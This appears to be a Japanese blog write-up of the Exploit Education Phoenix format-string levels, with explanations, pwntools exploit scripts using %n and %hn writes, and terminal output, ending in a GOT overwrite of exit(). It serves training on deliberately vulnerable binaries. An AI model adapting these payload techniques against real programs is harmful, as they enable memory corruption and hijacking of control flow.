Exploit Education Phoenix-Format編
前回の続きで、今回はFormat編
環境はサイトにあるqemu環境を持ってきた。format編は全て64bit環境で実行した。バイナリは/opt/phoenix/amd64下にある。
Format-Zero
fgetsでbuffernにサイズ分入力を受け取り、その後locals.destにbufferの内容をsprintfしてあげる。
ここにオーバーフローなどは無く、stack上でlocals.destの下に配置されているlocals.changemeを書き換えるのが目標なので、bufferをsprintfした時に33文字以上をlocals.destに書き込めれば良い。
改行も含めて"%32x\n"をbufferに書き込めば、changemeには0xaが書き込まれることになる。もちろん32以上であればなんでもいいし、format識別子もxじゃなくてもよい。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %31x Uh oh, 'changeme' has not yet been changed. Would you like to try again? user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %32x Well done, the 'changeme' variable has been changed!
Format-One
Format-Zeroとほとんど一緒で、locals.changemeの書き換える内容を指定されているだけ。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education hoge Uh oh, 'changeme' is not the magic value, it is 0x00000000 user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education %32xAABB Uh oh, 'changeme' is not the magic value, it is 0x42424141 user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education %32xlOvE Well done, the 'changeme' variable has been changed correctly!
Format-Two
main関数のargv[1]をstrncpyで変数bufferにコピーする。その後printf(buffer)をするのでここにFSBの脆弱性がある。
目標はchangemeを書き換えること。ここで初めてFSBといえばお馴染みの%n識別子を使用する。%nについて知らない方はハリネズミ本などを参照していただきたい。ブログだとptr-yudai氏のブログなどがわかりやすい。bufのオフセットは12だが、なぜか%12$nのような表記が使えない。なので大人しく%xを並べる。changemeのアドレスは0x600af0である。またFSBで最初にやる間違い(少なくとも自分はよくミスっていた)として、payloadをchangemeのアドレス+"%12$n"のようにしてしまうことがあるが、changemeのアドレスは8byteで表すと必ずnull byteを含んでしまうので、肝心のprintfで"%12$n"まで出力されない。なので書き込みたいアドレスは最後にくっつけるように注意。
#format-two.py from pwn import * argv1 = "%x"*15 argv1 += "%n" argv1 += p32(0x600af0) p = process(['/opt/phoenix/amd64/format-two', argv1]) p.interactive()
64bitバイナリだが、p64()を使うとargvにnullバイトが連続するみたいな事で怒られたので、payloadの最後にchangemeのアドレスを置いてやる。そのためオフセットはずれて16になる。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-two AAAA Welcome to phoenix/format-two, brought to you by https://exploit.education AAAABetter luck next time! user@phoenix-amd64:~/workspace$ python format-two.py [+] Starting local process '/opt/phoenix/amd64/format-two': pid 18254 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/format-two' stopped with exit code 0 (pid 18254) Welcome to phoenix/format-two, brought to you by https://exploit.education 0d0ffffe573ffffe50fffffe550ffffe550ffffe650400705ffffe6a840036878257825782578257825782578257825? `Well done, the 'changeme' variable has been changed correctly!
Format-Three
read()で入力を読み込み、それをprintf()する。先ほど違うのは入力をread()で行なっている点とchangemeを書き換える内容が指定されているという点。%12$xなどの表記があいも変わらずできないので、コードはとても読みにくくなっている。FSBについてしっかり理解ができていれば、特に難しいこともないかと。僕のpayloadではchangemeにword(2byte)単位で書き込んでいる。過去に出題されたCTFでは出力できる文字数に制限があったりしたので%hn,%hhnを使っても書けるようにしておきたい。またbruteforceが必要な場面でも一回の攻撃にかかる時間が、より細かい単位で書き込めた方が短いので、そういう時にも役に立つ。
#format-three.py from pwn import * changeme = 0x600a90 offset = 12 padding = 20 target = 0x64457845 p = process(['/opt/phoenix/amd64/format-three']) payload = "%20x"*(padding+offset-2) payload += "%" +str(0x6445-20*(padding+offset-2))+ "x" payload += "%hn" payload += "%" +str(0x7845-0x6445)+ "x" payload += "%hn" payload += "A"*(8*padding - len(payload)) payload += p64(changeme+2) payload += "A"*8 payload += p64(changeme) p.recv() p.sendline(payload) p.interactive()
長いので出力はカット
Format-Four
format編も最後。
format-three同様にread()で読み込んだ値をprintfする。目標はソースコードに書かれたcongratulations()を呼ぶこと。
printf()の後にexit()が呼ばれてバイナリが終了するので、書き換え先はexit()のgotが良さそう。ただcongratulations()内でもexit()を読んでいるので、成功した場合はループする。
#format-four.py from pwn import * offset = 12 padding = 50 cong = 0x400644 got_exit = 0x6009f0 p = process(['/opt/phoenix/amd64/format-four']) payload = "%90x"*(offset-1 + padding-1) payload += "%" + str(0x10644- 90*(offset-1+padding-1)) + "x" payload += "%hn" payload += "%" + str(0x10040-0x644) + "x" payload += "%hn" payload += "%" + str(0x10000-0x40) + "x" payload += "%hn%hn" payload += "B"*(padding*8 - len(payload)) payload += p64(got_exit) payload += "A"*8 payload += p64(got_exit+2) payload += "A"*8 payload += p64(got_exit+4) payload += p64(got_exit+6) p.recv() p.sendline(payload) p.interactive()
まとめ
これにてfsbはおしまい
%12$xのような記法が使えないのは環境、libcの影響なんだろうか
次回はHeap編